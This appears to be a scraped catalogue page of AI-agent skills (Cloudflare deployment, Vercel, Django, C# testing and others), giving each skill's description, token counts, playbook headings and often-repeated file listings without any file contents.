bytesreferences/waf/patterns.mddoc1,944 bytesreferences/workerd/README.mddoc2,875 bytesreferences/workerd/api.mddoc4,959 bytesreferences/workerd/configuration.mddoc5,263 bytesreferences/workerd/gotchas.mddoc4,789 bytesreferences/workerd/patterns.mddoc4,938 bytesreferences/workers-ai/README.mddoc1,883 bytesreferences/workers-ai/api.mddoc1,308 bytesreferences/workers-ai/configuration.mddoc1,624 bytesreferences/workers-ai/gotchas.mddoc1,949 bytesreferences/workers-ai/patterns.mddoc1,724 bytesreferences/workflows/README.mddoc1,873 bytesreferences/workflows/api.mddoc1,849 bytesreferences/workflows/configuration.mddoc2,033 bytesreferences/workflows/gotchas.mddoc2,886 bytesreferences/workflows/patterns.mddoc2,720 bytesreferences/zaraz/IMPLEMENTATION_SUMMARY.mddoc3,494 bytesreferences/zaraz/README.mddoc3,933 bytesreferences/zaraz/api.mddoc3,197 bytesreferences/zaraz/configuration.mddoc1,811 bytesreferences/zaraz/gotchas.mddoc2,001 bytesreferences/zaraz/patterns.mddoc2,133 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcloudflare-deploy
When your agent uses it
Deploy applications and infrastructure to Cloudflare using Workers, Pages, and related platform services. Use when the user asks to deploy, host, publish, or set up a project on Cloudflare.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
1,797 tokensWhen the skill is activated
Reference documents
335,632 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Authentication (Required Before Deploy)
- Quick Decision Trees
- Product Index
- Troubleshooting
Files
LICENSE.txtdoc10,776 bytesSKILL.mdcore7,377 bytesSKILL.mdcore7,377 bytesagents/openai.yamlasset331 bytesassets/cloudflare-small.svgasset1,221 bytesassets/cloudflare.pngasset1,187 bytesreferences/agents-sdk/README.mddoc2,765 bytesreferences/agents-sdk/api.mddoc5,862 bytesreferences/agents-sdk/configuration.mddoc3,575 bytesreferences/agents-sdk/gotchas.mddoc5,108 bytesreferences/agents-sdk/patterns.mddoc5,595 bytesreferences/ai-gateway/README.mddoc6,308 bytesreferences/ai-gateway/configuration.mddoc2,954 bytesreferences/ai-gateway/dynamic-routing.mddoc1,835 bytesreferences/ai-gateway/features.mddoc2,726 bytesreferences/ai-gateway/sdk-integration.mddoc2,684 bytesreferences/ai-gateway/troubleshooting.mddoc2,420 bytesreferences/ai-search/README.mddoc4,521 bytesreferences/ai-search/api.mddoc2,519 bytesreferences/ai-search/configuration.mddoc1,760 bytesreferences/ai-search/gotchas.mddoc2,135 bytesreferences/ai-search/patterns.mddoc2,008 bytesreferences/analytics-engine/README.mddoc3,195 bytesreferences/analytics-engine/api.mddoc3,161 bytesreferences/analytics-engine/configuration.mddoc2,361 bytesreferences/analytics-engine/gotchas.mddoc2,018 bytesreferences/analytics-engine/patterns.mddoc2,312 bytesreferences/api-shield/README.mddoc1,796 bytesreferences/api-shield/api.mddoc3,900 bytesreferences/api-shield/configuration.mddoc5,020 bytesreferences/api-shield/gotchas.mddoc4,946 bytesreferences/api-shield/patterns.mddoc5,844 bytesreferences/api/README.mddoc2,381 bytesreferences/api/api.mddoc4,308 bytesreferences/api/configuration.mddoc3,748 bytesreferences/api/gotchas.mddoc5,390 bytesreferences/api/patterns.mddoc4,639 bytesreferences/argo-smart-routing/README.mddoc4,060 bytesreferences/argo-smart-routing/api.mddoc6,579 bytesreferences/argo-smart-routing/configuration.mddoc4,457 bytesreferences/argo-smart-routing/gotchas.mddoc4,327 bytesreferences/argo-smart-routing/patterns.mddoc3,053 bytesreferences/bindings/README.mddoc4,042 bytesreferences/bindings/api.mddoc5,199 bytesreferences/bindings/configuration.mddoc4,496 bytesreferences/bindings/gotchas.mddoc6,169 bytesreferences/bindings/patterns.mddoc5,058 bytesreferences/bot-management/README.mddoc3,762 bytesreferences/bot-management/api.mddoc5,803 bytesreferences/bot-management/configuration.mddoc5,744 bytesreferences/bot-management/gotchas.mddoc5,657 bytesreferences/bot-management/patterns.mddoc4,970 bytesreferences/browser-rendering/README.mddoc3,092 bytesreferences/browser-rendering/api.mddoc2,976 bytesreferences/browser-rendering/configuration.mddoc1,802 bytesreferences/browser-rendering/gotchas.mddoc2,520 bytesreferences/browser-rendering/patterns.mddoc2,647 bytesreferences/c3/README.mddoc3,352 bytesreferences/c3/api.mddoc2,286 bytesreferences/c3/configuration.mddoc1,637 bytesreferences/c3/gotchas.mddoc2,307 bytesreferences/c3/patterns.mddoc2,203 bytesreferences/cache-reserve/README.mddoc5,609 bytesreferences/cache-reserve/api.mddoc6,018 bytesreferences/cache-reserve/configuration.mddoc3,660 bytesreferences/cache-reserve/gotchas.mddoc5,797 bytesreferences/cache-reserve/patterns.mddoc6,265 bytesreferences/containers/README.mddoc3,531 bytesreferences/containers/api.mddoc4,310 bytesreferences/containers/configuration.mddoc5,424 bytesreferences/containers/gotchas.mddoc4,485 bytesreferences/containers/patterns.mddoc4,925 bytesreferences/cron-triggers/README.mddoc2,949 bytesreferences/cron-triggers/api.mddoc5,866 bytesreferences/cron-triggers/configuration.mddoc4,250 bytesreferences/cron-triggers/gotchas.mddoc6,316 bytesreferences/cron-triggers/patterns.mddoc6,980 bytesreferences/d1/README.mddoc4,719 bytesreferences/d1/api.mddoc6,806 bytesreferences/d1/configuration.mddoc5,386 bytesreferences/d1/gotchas.mddoc4,318 bytesreferences/d1/patterns.mddoc7,251 bytesreferences/ddos/README.mddoc2,054 bytesreferences/ddos/api.mddoc4,170 bytesreferences/ddos/configuration.mddoc3,005 bytesreferences/ddos/gotchas.mddoc3,912 bytesreferences/ddos/patterns.mddoc5,680 bytesreferences/do-storage/README.mddoc2,765 bytesreferences/do-storage/api.mddoc3,571 bytesreferences/do-storage/configuration.mddoc2,235 bytesreferences/do-storage/gotchas.mddoc5,200 bytesreferences/do-storage/patterns.mddoc5,278 bytesreferences/do-storage/testing.mddoc4,912 bytesreferences/durable-objects/README.mddoc6,609 bytesreferences/durable-objects/api.mddoc6,142 bytesreferences/durable-objects/configuration.mddoc4,266 bytesreferences/durable-objects/gotchas.mddoc7,318 bytesreferences/durable-objects/patterns.mddoc6,691 bytesreferences/email-routing/README.mddoc3,431 bytesreferences/email-routing/api.mddoc5,311 bytesreferences/email-routing/configuration.mddoc3,571 bytesreferences/email-routing/gotchas.mddoc4,106 bytesreferences/email-routing/patterns.mddoc5,480 bytesreferences/email-workers/README.mddoc5,368 bytesreferences/email-workers/api.mddoc6,078 bytesreferences/email-workers/configuration.mddoc2,719 bytesreferences/email-workers/gotchas.mddoc3,041 bytesreferences/email-workers/patterns.mddoc2,785 bytesreferences/hyperdrive/README.mddoc2,918 bytesreferences/hyperdrive/api.mddoc3,875 bytesreferences/hyperdrive/configuration.mddoc3,913 bytesreferences/hyperdrive/gotchas.mddoc3,926 bytesreferences/hyperdrive/patterns.mddoc5,980 bytesreferences/images/README.mddoc2,900 bytesreferences/images/api.mddoc2,574 bytesreferences/images/configuration.mddoc4,126 bytesreferences/images/gotchas.mddoc2,490 bytesreferences/images/patterns.mddoc3,582 bytesreferences/kv/README.mddoc2,883 bytesreferences/kv/api.mddoc4,327 bytesreferences/kv/configuration.mddoc3,083 bytesreferences/kv/gotchas.mddoc4,455 bytesreferences/kv/patterns.mddoc4,740 bytesreferences/miniflare/README.mddoc2,976 bytesreferences/miniflare/api.mddoc4,606 bytesreferences/miniflare/configuration.mddoc3,525 bytesreferences/miniflare/gotchas.mddoc3,724 bytesreferences/miniflare/patterns.mddoc4,260 bytesreferences/network-interconnect/README.mddoc3,230 bytesreferences/network-interconnect/api.mddoc5,626 bytesreferences/network-interconnect/configuration.mddoc4,257 bytesreferences/network-interconnect/gotchas.mddoc5,554 bytesreferences/network-interconnect/patterns.mddoc4,041 bytesreferences/observability/README.mddoc3,887 bytesreferences/observability/api.mddoc3,480 bytesreferences/observability/configuration.mddoc3,584 bytesreferences/observability/gotchas.mddoc3,755 bytesreferences/observability/patterns.mddoc2,481 bytesreferences/pages-functions/README.mddoc3,322 bytesreferences/pages-functions/api.mddoc4,677 bytesreferences/pages-functions/configuration.mddoc3,002 bytesreferences/pages-functions/gotchas.mddoc3,850 bytesreferences/pages-functions/patterns.mddoc4,214 bytesreferences/pages/README.mddoc2,834 bytesreferences/pages/api.mddoc5,980 bytesreferences/pages/configuration.mddoc5,865 bytesreferences/pages/gotchas.mddoc7,998 bytesreferences/pages/patterns.mddoc5,992 bytesreferences/pipelines/README.mddoc3,400 bytesreferences/pipelines/api.mddoc5,109 bytesreferences/pipelines/configuration.mddoc2,747 bytesreferences/pipelines/gotchas.mddoc2,427 bytesreferences/pipelines/patterns.mddoc2,080 bytesreferences/pulumi/README.mddoc3,231 bytesreferences/pulumi/api.mddoc5,761 bytesreferences/pulumi/configuration.mddoc5,657 bytesreferences/pulumi/gotchas.mddoc6,536 bytesreferences/pulumi/patterns.mddoc6,974 bytesreferences/queues/README.mddoc3,058 bytesreferences/queues/api.mddoc5,563 bytesreferences/queues/configuration.mddoc3,828 bytesreferences/queues/gotchas.mddoc7,233 bytesreferences/queues/patterns.mddoc5,498 bytesreferences/r2-data-catalog/README.mddoc7,105 bytesreferences/r2-data-catalog/api.mddoc5,991 bytesreferences/r2-data-catalog/configuration.mddoc5,297 bytesreferences/r2-data-catalog/gotchas.mddoc6,126 bytesreferences/r2-data-catalog/patterns.mddoc5,883 bytesreferences/r2-sql/README.mddoc5,209 bytesreferences/r2-sql/api.mddoc4,007 bytesreferences/r2-sql/configuration.mddoc3,739 bytesreferences/r2-sql/gotchas.mddoc6,235 bytesreferences/r2-sql/patterns.mddoc6,758 bytesreferences/r2/README.mddoc2,825 bytesreferences/r2/api.mddoc5,649 bytesreferences/r2/configuration.mddoc3,654 bytesreferences/r2/gotchas.mddoc5,048 bytesreferences/r2/patterns.mddoc5,844 bytesreferences/realtime-sfu/README.mddoc3,078 bytesreferences/realtime-sfu/api.mddoc3,768 bytesreferences/realtime-sfu/configuration.mddoc3,509 bytesreferences/realtime-sfu/gotchas.mddoc4,902 bytesreferences/realtime-sfu/patterns.mddoc5,403 bytesreferences/realtimekit/README.mddoc4,047 bytesreferences/realtimekit/api.mddoc8,352 bytesreferences/realtimekit/configuration.mddoc5,192 bytesreferences/realtimekit/gotchas.mddoc6,883 bytesreferences/realtimekit/patterns.mddoc7,660 bytesreferences/sandbox/README.mddoc3,119 bytesreferences/sandbox/api.mddoc4,972 bytesreferences/sandbox/configuration.mddoc3,415 bytesreferences/sandbox/gotchas.mddoc5,456 bytesreferences/sandbox/patterns.mddoc5,236 bytesreferences/secrets-store/README.mddoc2,215 bytesreferences/secrets-store/api.mddoc4,358 bytesreferences/secrets-store/configuration.mddoc3,890 bytesreferences/secrets-store/gotchas.mddoc3,838 bytesreferences/secrets-store/patterns.mddoc5,660 bytesreferences/smart-placement/README.mddoc5,024 bytesreferences/smart-placement/api.mddoc5,559 bytesreferences/smart-placement/configuration.mddoc6,119 bytesreferences/smart-placement/gotchas.mddoc5,637 bytesreferences/smart-placement/patterns.mddoc5,784 bytesreferences/snippets/README.mddoc3,132 bytesreferences/snippets/api.mddoc5,133 bytesreferences/snippets/configuration.mddoc6,311 bytesreferences/snippets/gotchas.mddoc2,220 bytesreferences/snippets/patterns.mddoc3,346 bytesreferences/spectrum/README.mddoc2,355 bytesreferences/spectrum/api.mddoc4,924 bytesreferences/spectrum/configuration.mddoc4,332 bytesreferences/spectrum/gotchas.mddoc3,739 bytesreferences/spectrum/patterns.mddoc4,778 bytesreferences/static-assets/README.mddoc2,197 bytesreferences/static-assets/api.mddoc4,451 bytesreferences/static-assets/configuration.mddoc4,826 bytesreferences/static-assets/gotchas.mddoc4,127 bytesreferences/static-assets/patterns.mddoc4,895 bytesreferences/stream/README.mddoc3,864 bytesreferences/stream/api-live.mddoc5,174 bytesreferences/stream/api.mddoc5,260 bytesreferences/stream/configuration.mddoc3,222 bytesreferences/stream/gotchas.mddoc4,308 bytesreferences/stream/patterns.mddoc6,394 bytesreferences/tail-workers/README.mddoc3,020 bytesreferences/tail-workers/api.mddoc5,132 bytesreferences/tail-workers/configuration.mddoc3,474 bytesreferences/tail-workers/gotchas.mddoc4,595 bytesreferences/tail-workers/patterns.mddoc4,034 bytesreferences/terraform/README.mddoc3,680 bytesreferences/terraform/api.mddoc4,020 bytesreferences/terraform/configuration.mddoc7,577 bytesreferences/terraform/gotchas.mddoc5,268 bytesreferences/terraform/patterns.mddoc6,640 bytesreferences/tunnel/README.mddoc3,738 bytesreferences/tunnel/api.mddoc4,444 bytesreferences/tunnel/configuration.mddoc3,698 bytesreferences/tunnel/gotchas.mddoc3,933 bytesreferences/tunnel/networking.mddoc3,993 bytesreferences/tunnel/patterns.mddoc3,853 bytesreferences/turn/README.mddoc3,693 bytesreferences/turn/api.mddoc5,220 bytesreferences/turn/configuration.mddoc4,178 bytesreferences/turn/gotchas.mddoc7,020 bytesreferences/turn/patterns.mddoc6,189 bytesreferences/turnstile/README.mddoc3,539 bytesreferences/turnstile/api.mddoc6,424 bytesreferences/turnstile/configuration.mddoc6,719 bytesreferences/turnstile/gotchas.mddoc6,276 bytesreferences/turnstile/patterns.mddoc4,677 bytesreferences/vectorize/README.mddoc4,288 bytesreferences/vectorize/api.mddoc2,375 bytesreferences/vectorize/configuration.mddoc1,986 bytesreferences/vectorize/gotchas.mddoc2,157 bytesreferences/vectorize/patterns.mddoc2,514 bytesreferences/waf/README.mddoc3,455 bytesreferences/waf/api.mddoc5,831 bytesreferences/waf/configuration.mddoc4,765 bytesreferences/waf/gotchas.mddoc6,290 bytesreferences/waf/patterns.mddoc5,356 bytesreferences/web-analytics/README.mddoc5,236 bytesreferences/web-analytics/configuration.mddoc2,003 bytesreferences/web-analytics/gotchas.mddoc1,999 bytesreferences/web-analytics/integration.mddoc1,772 bytesreferences/web-analytics/patterns.mddoc2,237 bytesreferences/workerd/README.mddoc2,789 bytesreferences/workerd/api.mddoc4,959 bytesreferences/workerd/configuration.mddoc5,263 bytesreferences/workerd/gotchas.mddoc4,781 bytesreferences/workerd/patterns.mddoc4,938 bytesreferences/workers-ai/README.mddoc6,042 bytesreferences/workers-ai/api.mddoc2,715 bytesreferences/workers-ai/configuration.mddoc1,989 bytesreferences/workers-ai/gotchas.mddoc2,693 bytesreferences/workers-ai/patterns.mddoc3,063 bytesreferences/workers-for-platforms/README.mddoc3,913 bytesreferences/workers-for-platforms/api.mddoc5,515 bytesreferences/workers-for-platforms/configuration.mddoc3,892 bytesreferences/workers-for-platforms/gotchas.mddoc5,440 bytesreferences/workers-for-platforms/patterns.mddoc5,587 bytesreferences/workers-playground/README.mddoc4,016 bytesreferences/workers-playground/api.mddoc2,224 bytesreferences/workers-playground/configuration.mddoc4,462 bytesreferences/workers-playground/gotchas.mddoc2,019 bytesreferences/workers-playground/patterns.mddoc3,303 bytesreferences/workers-vpc/README.mddoc5,484 bytesreferences/workers-vpc/api.mddoc5,321 bytesreferences/workers-vpc/configuration.mddoc3,898 bytesreferences/workers-vpc/gotchas.mddoc4,477 bytesreferences/workers-vpc/patterns.mddoc6,011 bytesreferences/workers/README.mddoc3,451 bytesreferences/workers/api.mddoc5,158 bytesreferences/workers/configuration.mddoc4,355 bytesreferences/workers/frameworks.mddoc4,276 bytesreferences/workers/gotchas.mddoc4,751 bytesreferences/workers/patterns.mddoc5,447 bytesreferences/workflows/README.mddoc2,429 bytesreferences/workflows/api.mddoc6,423 bytesreferences/workflows/configuration.mddoc3,707 bytesreferences/workflows/gotchas.mddoc4,649 bytesreferences/workflows/patterns.mddoc6,638 bytesreferences/wrangler/README.mddoc4,668 bytesreferences/wrangler/api.mddoc4,624 bytesreferences/wrangler/auth.mddoc2,169 bytesreferences/wrangler/configuration.mddoc4,722 bytesreferences/wrangler/gotchas.mddoc5,868 bytesreferences/wrangler/patterns.mddoc4,876 bytesreferences/zaraz/IMPLEMENTATION_SUMMARY.mddoc3,494 bytesreferences/zaraz/README.mddoc3,909 bytesreferences/zaraz/api.mddoc3,197 bytesreferences/zaraz/configuration.mddoc1,811 bytesreferences/zaraz/gotchas.mddoc2,001 bytesreferences/zaraz/patterns.mddoc2,133 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvercel-composition-patterns
When your agent uses it
React composition patterns that scale. Use when refactoring components with boolean prop proliferation, building flexible component libraries, or designing reusable APIs. Triggers on tasks involving compound components, render props, context providers, or component architecture. Includes React 19 API changes.
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
626 tokensWhen the skill is activated
Reference documents
10,544 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- Quick Reference
- How to Use
- Full Compiled Document
Files
AGENTS.mddoc22,627 bytesREADME.mddoc2,140 bytesSKILL.mdcore2,886 bytesmetadata.jsonasset530 bytesrules/_sections.mddoc829 bytesrules/_template.mddoc329 bytesrules/architecture-avoid-boolean-props.mddoc2,267 bytesrules/architecture-compound-components.mddoc2,600 bytesrules/patterns-children-over-render-props.mddoc1,886 bytesrules/patterns-explicit-variants.mddoc2,395 bytesrules/react19-no-forwardref.mddoc953 bytesrules/state-context-interface.mddoc4,974 bytesrules/state-decouple-implementation.mddoc2,699 bytesrules/state-lift-state.mddoc3,224 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcontainerize-aspnetcore
When your agent uses it
Containerize an ASP.NET Core project by creating Dockerfile and .dockerfile files customized for the project.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
3,723 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Containerization Request
- Containerization Settings
- Scope
- Execution Process
- Build and Runtime Verification
- Progress Tracking
- Example Dockerfile
- Adapting this Example
- Linux Distribution Variations
- Notes on Stage Naming
- Security Best Practices
Files
SKILL.mdcore15,970 bytesSKILL.mdcore15,970 bytesSKILL.mdcore15,970 bytesSKILL.mdcore15,970 bytesSKILL.mdcore15,970 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcore-data-expert
When your agent uses it
Expert Core Data guidance (iOS/macOS): stack setup, fetch requests & NSFetchedResultsController, saving/merge conflicts, threading & Swift Concurrency, batch operations & persistent history, migrations, performance, and NSPersistentCloudKitContainer/CloudKit sync.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
1,082 tokensWhen the skill is activated
Reference documents
35,953 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Agent behavior contract (follow these rules)
- First 60 seconds (triage template)
- Routing map (pick the right reference fast)
- Common errors → next best move
- Verification checklist (when changing Core Data code)
- Reference files
Files
SKILL.mdcore4,894 bytesreferences/_index.mddoc4,108 bytesreferences/batch-operations.mddoc14,737 bytesreferences/cloudkit-integration.mddoc6,368 bytesreferences/concurrency.mddoc12,808 bytesreferences/fetch-requests.mddoc17,542 bytesreferences/glossary.mddoc5,709 bytesreferences/migration.mddoc10,886 bytesreferences/model-configuration.mddoc14,508 bytesreferences/performance.mddoc6,378 bytesreferences/persistent-history.mddoc17,470 bytesreferences/project-audit.mddoc2,164 bytesreferences/saving.mddoc13,998 bytesreferences/stack-setup.mddoc17,913 bytesreferences/testing.mddoc7,947 bytesreferences/threading.mddoc14,409 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-async
When your agent uses it
Get best practices for C# async programming
What it loads into context
Frontmatter
19 tokensAlways available to the agent
SKILL.md
381 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Naming Conventions
- Return Types
- Exception Handling
- Performance
- Common Pitfalls
- Implementation Patterns
Files
SKILL.mdcore1,862 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-docs
When your agent uses it
Ensure that C# types are documented with XML comments and follow best practices for documentation.
What it loads into context
Frontmatter
27 tokensAlways available to the agent
SKILL.md
907 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Guidance for all APIs
- Methods
- Constructors
- Properties
- Exceptions
Files
SKILL.mdcore4,082 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-mstest
When your agent uses it
Get best practices for MSTest 3.x/4.x unit testing, including modern assertion APIs and data-driven tests
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
3,283 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Project Setup
- Test Class Structure
- Test Lifecycle
- Modern Assertion APIs
- Data-Driven Tests
- TestContext
- Advanced Features
- Common Mistakes to Avoid
- Test Organization
- Mocking and Isolation
Files
SKILL.mdcore13,856 bytesSKILL.mdcore13,856 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-nunit
When your agent uses it
Get best practices for NUnit unit testing, including data-driven tests
What it loads into context
Frontmatter
23 tokensAlways available to the agent
SKILL.md
643 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Project Setup
- Test Structure
- Standard Tests
- Data-Driven Tests
- Assertions
- Mocking and Isolation
- Test Organization
Files
SKILL.mdcore2,843 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-tunit
When your agent uses it
Get best practices for TUnit unit testing, including data-driven tests
What it loads into context
Frontmatter
24 tokensAlways available to the agent
SKILL.md
1,176 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Project Setup
- Test Structure
- Standard Tests
- Data-Driven Tests
- Assertions
- Advanced Features
- Test Organization
- Performance and Parallel Execution
- Migration from xUnit
Files
SKILL.mdcore5,145 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsharp-xunit
When your agent uses it
Get best practices for XUnit unit testing, including data-driven tests
What it loads into context
Frontmatter
24 tokensAlways available to the agent
SKILL.md
601 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Project Setup
- Test Structure
- Standard Tests
- Data-Driven Tests
- Assertions
- Mocking and Isolation
- Test Organization
Files
SKILL.mdcore2,707 bytesSKILL.mdcore2,707 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdart-best-practices
When your agent uses it
General best practices for Dart development. Covers code style, effective Dart, and language features.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
668 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. When to use this skill
- 2. Best Practices
- Discovery
- Related Skills
Files
SKILL.mdcore2,835 bytesevals/evals.jsonasset2,197 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdeploy-to-vercel
When your agent uses it
Deploy applications and websites to Vercel. Use when the user requests deployment actions like "deploy my app", "deploy and give me the link", "push this live", or "create a preview deployment".
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
2,894 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Step 1: Gather Project State
- Step 2: Choose a Deploy Method
- Agent-Specific Notes
- Output
- Troubleshooting
Scripts executed separately
resources/deploy-codex.shresources/deploy.sh
Files
Archive.zipasset11,314 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesSKILL.mdcore11,786 bytesresources/deploy-codex.shruns8,855 bytesresources/deploy.shruns8,841 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsleek-design-mobile-apps
When your agent uses it
Design mobile app screens with Sleek, edit Sleek projects, and implement their designs in React Native or HTML.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
1,930 tokensWhen the skill is activated
Reference documents
11,580 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Designing or implementing
- User shot and review shot
- Prerequisites: API Key
- Quick Reference: All Endpoints
- Error Shapes
Files
SKILL.mdcore8,490 bytesdesigning.mddoc7,869 bytesendpoints.mddoc13,757 bytesimplementing.mddoc21,285 bytesstyling/nativewind.mddoc4,883 bytesstyling/stylesheet.mddoc1,621 bytesstyling/uniwind.mddoc1,536 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdjango-expert
When your agent uses it
Expert Django backend development guidance. Use when creating Django models, views, serializers, or APIs; debugging ORM queries or migrations; optimizing database performance; implementing authentication; writing tests; or working with Django REST Framework. Follows Django best practices and modern patterns.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
1,898 tokensWhen the skill is activated
Reference documents
33,885 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- When to Use
- Instructions
- Bundled Resources
- Additional Notes
Files
SKILL.mdcore8,972 bytesreferences/README.mddoc5,559 bytesreferences/drf-guidelines.mddoc18,074 bytesreferences/examples.mddoc10,806 bytesreferences/models-and-orm.mddoc10,843 bytesreferences/performance-optimization.mddoc13,588 bytesreferences/production-deployment.mddoc19,657 bytesreferences/security-checklist.mddoc11,570 bytesreferences/testing-strategies.mddoc41,722 bytesreferences/views-and-urls.mddoc16,623 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdjango-patterns
When your agent uses it
Django architecture patterns, REST API design with DRF, ORM best practices, caching, signals, middleware, and production-grade Django apps. Use when building or reviewing Django apps, DRF APIs, ORM queries, or caching.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
4,444 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Activate
- Project Structure
- Model Design Patterns
- Django REST Framework Patterns
- Service Layer Pattern
- Caching Strategies
- Signals
- Middleware
- Performance Optimization
- Quick Reference
Files
SKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytesSKILL.mdcore21,116 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdjango-security
When your agent uses it
Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations. Use when reviewing Django authentication, authorization, input handling, or deployment settings.
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
3,981 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Activate
- Core Security Settings
- Authentication
- Authorization
- SQL Injection Prevention
- XSS Prevention
- CSRF Protection
- File Upload Security
- API Security
- Security Headers
- Environment Variables
- Logging Security Events
- Quick Security Checklist
Files
SKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytesSKILL.mdcore17,269 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdotnet-best-practices
When your agent uses it
Ensure .NET/C# code meets best practices for the solution/project.
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
610 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Documentation & Structure
- Design Patterns & Architecture
- Dependency Injection & Services
- Resource Management & Localization
- Async/Await Patterns
- Testing Standards
- Configuration & Settings
- Semantic Kernel & AI Integration
- Error Handling & Logging
- Performance & Security
- Code Quality
Files
SKILL.mdcore3,230 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdotnet-design-pattern-review
When your agent uses it
Review the C#/.NET code for design pattern implementation and suggest improvements.
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
625 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
